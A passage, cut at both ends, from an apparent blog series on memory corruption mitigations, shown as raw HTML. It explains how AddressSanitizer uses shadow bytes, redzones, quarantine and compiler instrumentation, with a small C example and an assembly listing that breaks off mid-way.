style="font-size:11pt;font-family:Calibri,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Associated shadow bytes</span></p></td></tr><tr style="height:0pt"><td style="border-left:solid #000000 0.5pt;border-right:solid #000000 0.5pt;border-bottom:solid #000000 0.5pt;border-top:solid #000000 0.5pt;vertical-align:top;padding:0pt 5.4pt 0pt 5.4pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Calibri,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">f1 4a 34 65 2d 43 11 11&#xA0;</span></p></td><td style="border-left:solid #000000 0.5pt;border-right:solid #000000 0.5pt;border-bottom:solid #000000 0.5pt;border-top:solid #000000 0.5pt;vertical-align:top;padding:0pt 5.4pt 0pt 5.4pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Calibri,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">00</span></p></td></tr><tr style="height:0pt"><td style="border-left:solid #000000 0.5pt;border-right:solid #000000 0.5pt;border-bottom:solid #000000 0.5pt;border-top:solid #000000 0.5pt;vertical-align:top;padding:0pt 5.4pt 0pt 5.4pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Calibri,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">f1 4a 34 65 2d 43 11 11 45 23</span></p></td><td style="border-left:solid #000000 0.5pt;border-right:solid #000000 0.5pt;border-bottom:solid #000000 0.5pt;border-top:solid #000000 0.5pt;vertical-align:top;padding:0pt 5.4pt 0pt 5.4pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Calibri,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">00 02</span></p></td></tr><tr style="height:0pt"><td style="border-left:solid #000000 0.5pt;border-right:solid #000000 0.5pt;border-bottom:solid #000000 0.5pt;border-top:solid #000000 0.5pt;vertical-align:top;padding:0pt 5.4pt 0pt 5.4pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Calibri,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char a[12]</span></p></td><td style="border-left:solid #000000 0.5pt;border-right:solid #000000 0.5pt;border-bottom:solid #000000 0.5pt;border-top:solid #000000 0.5pt;vertical-align:top;padding:0pt 5.4pt 0pt 5.4pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Calibri,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">00 04</span></p></td></tr><tr style="height:0pt"><td style="border-left:solid #000000 0.5pt;border-right:solid #000000 0.5pt;border-bottom:solid #000000 0.5pt;border-top:solid #000000 0.5pt;vertical-align:top;padding:0pt 5.4pt 0pt 5.4pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Calibri,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Int a[8]</span></p></td><td style="border-left:solid #000000 0.5pt;border-right:solid #000000 0.5pt;border-bottom:solid #000000 0.5pt;border-top:solid #000000 0.5pt;vertical-align:top;padding:0pt 5.4pt 0pt 5.4pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Calibri,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">00 00 00 00 00 00 00 00</span></p></td></tr><tr style="height:0pt"><td style="border-left:solid #000000 0.5pt;border-right:solid #000000 0.5pt;border-bottom:solid #000000 0.5pt;border-top:solid #000000 0.5pt;vertical-align:top;padding:0pt 5.4pt 0pt 5.4pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Calibri,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char a[2]</span></p></td><td style="border-left:solid #000000 0.5pt;border-right:solid #000000 0.5pt;border-bottom:solid #000000 0.5pt;border-top:solid #000000 0.5pt;vertical-align:top;padding:0pt 5.4pt 0pt 5.4pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Calibri,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">02</span></p></td></tr></tbody></table><!--kg-card-end: html--><p><br></p><p>Each of these shadow bytes are presented at fix offset to the original byte location: The ASAN runtime calculates the shadow byte address using following <em><code>formula -&gt; (address &gt;&gt; 3) + some_offset</code></em>. This offset value is defined or set by the compiler during compilation.</p><p><strong>Instrumentation:</strong></p><p>Address sanitizer uses instrumentation to add the red zones around the boundary of each allocation and verify the shadow bytes on every access. When instrumenting an 8-byte memory access, Address Sanitizer computes the address of the corresponding shadow byte, loads that byte, and checks whether it is zero:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ShadowAddr = (Addr &gt;&gt; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">3</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">) + Offset;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">if</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> (*ShadowAddr != </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">)</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ReportAndCrash(Addr);</span></p></td></tr></tbody></table><!--kg-card-end: html--><p><strong>Runtime Library</strong></p><p>The main purpose of the run-time library is to manage the shadow memory. At application startup the entire shadow region is mapped so that no other part of the program can use it. For memory corruption detection against heap, malloc and free functions are replaced with a specialized implementation. The malloc function allocates extra memory, the redzone, around the returned region. The redzones are marked as unaddressable, or poisoned. The memory regions inside the allocator are organized as an array of freelists corresponding to a range of object sizes. When a freelist that corresponds to a requested object size is empty, a large group of memory regions with their redzones is allocated from the operating system. Each redzones is of minimum 32 bytes in size and looks something like this in memory</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/LYGo9lM0G8fBMObLnwuGWOVodUSVrIz_Q4AqrhkQy__TlMq9MaNhU3itEJtWTnEfsHks7PH2iDL1mXIajuA45hIM45WwWqkKMflHioTsbgxDj-yjQMb4FEOdj086Z8nnsdsBvyXag0Xk-gP6PFGKMFA" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="591" height="61"></figure><p>The free function poisons the entire memory region and puts it into quarantine, such that this region will not be allocated by malloc any time soon.</p><p>For globals, the redzones are created at compile time and the addresses of the redzones are passed to the run- time library at application startup.</p><p>For stack objects, the redzones are created and poisoned at run-time. Currently, redzones of 32 bytes (plus up to 31 bytes for alignment) are used.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/HX9DKu7yLcFO-LN3KMNsmRyhedBAkmu1hzD7HVUYQ-vZrw1_cPNltWYgn_DcPtj1VonIPcnYa96ZLE7JpP0G35jjJXSdIVEOF0upY4vFJf56-b57dPccmv8WSNGfvmJpsa10Rn4o4QxV0T64YSdd-Mk" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="624" height="226"></figure><p><br><br></p><h5 id="asan-in-action">ASAN in action</h5><p>Let&#x2019;s try to understand the instrumentation done by ASAN using a simple C program:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;stdio.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;string.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">()</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">{</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a[</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">20</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">];</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">strcpy</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(a, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;hello&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> (</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;The string is %s\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">,a);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span></p></td></tr></tbody></table><!--kg-card-end: html--><p></p><p>Before ASAN:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/GTiRKYaJEt9Yokz2MOFZetEa8Gt8YleSM5Tv71xbUAg9Dx5_iOrljCAZ0ivc-Hcv1D9_PyZE4azlMZa9KbS3RTfnU5ib-3sUfInmrrc7Nl7LNSWt4G79GsiuX3U3GEOj8Kbr1i-npTMUXm5zEZlewyw" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="491" height="346"></figure><p>After ASAN:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/dz-5ByV3Qv8JLD0ouMVA4nmHhuGbSLZey5eHCrdtiQDhcWoPTX3EbxmEmw0N9dxuTn2o91-YsoaUt_sGRpvUC-QRqoiYfGxyBmJVxCCMuDU11IU3Um4361YbHidFxQmashtX9oRNleNCCLelMEas6tg" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="456" height="377"></figure><p>Below instructions are to create a fake stack frame for ASAN</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#1b1918;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#6666ea;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; [</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">rbx</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">18h</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">], </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r12</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#6666ea;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">lea</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r15</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, [</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r12</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">20h</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">]</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#6666ea;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">qword</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ptr</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> [</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r12</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">], </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">41B58AB3h</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#6666ea;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">qword</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ptr</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> [</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r12</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">8</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">], offset a132203A5 </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#9c9491;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">; &quot;1 32 20 3 a:5&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#6666ea;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">qword</span><span 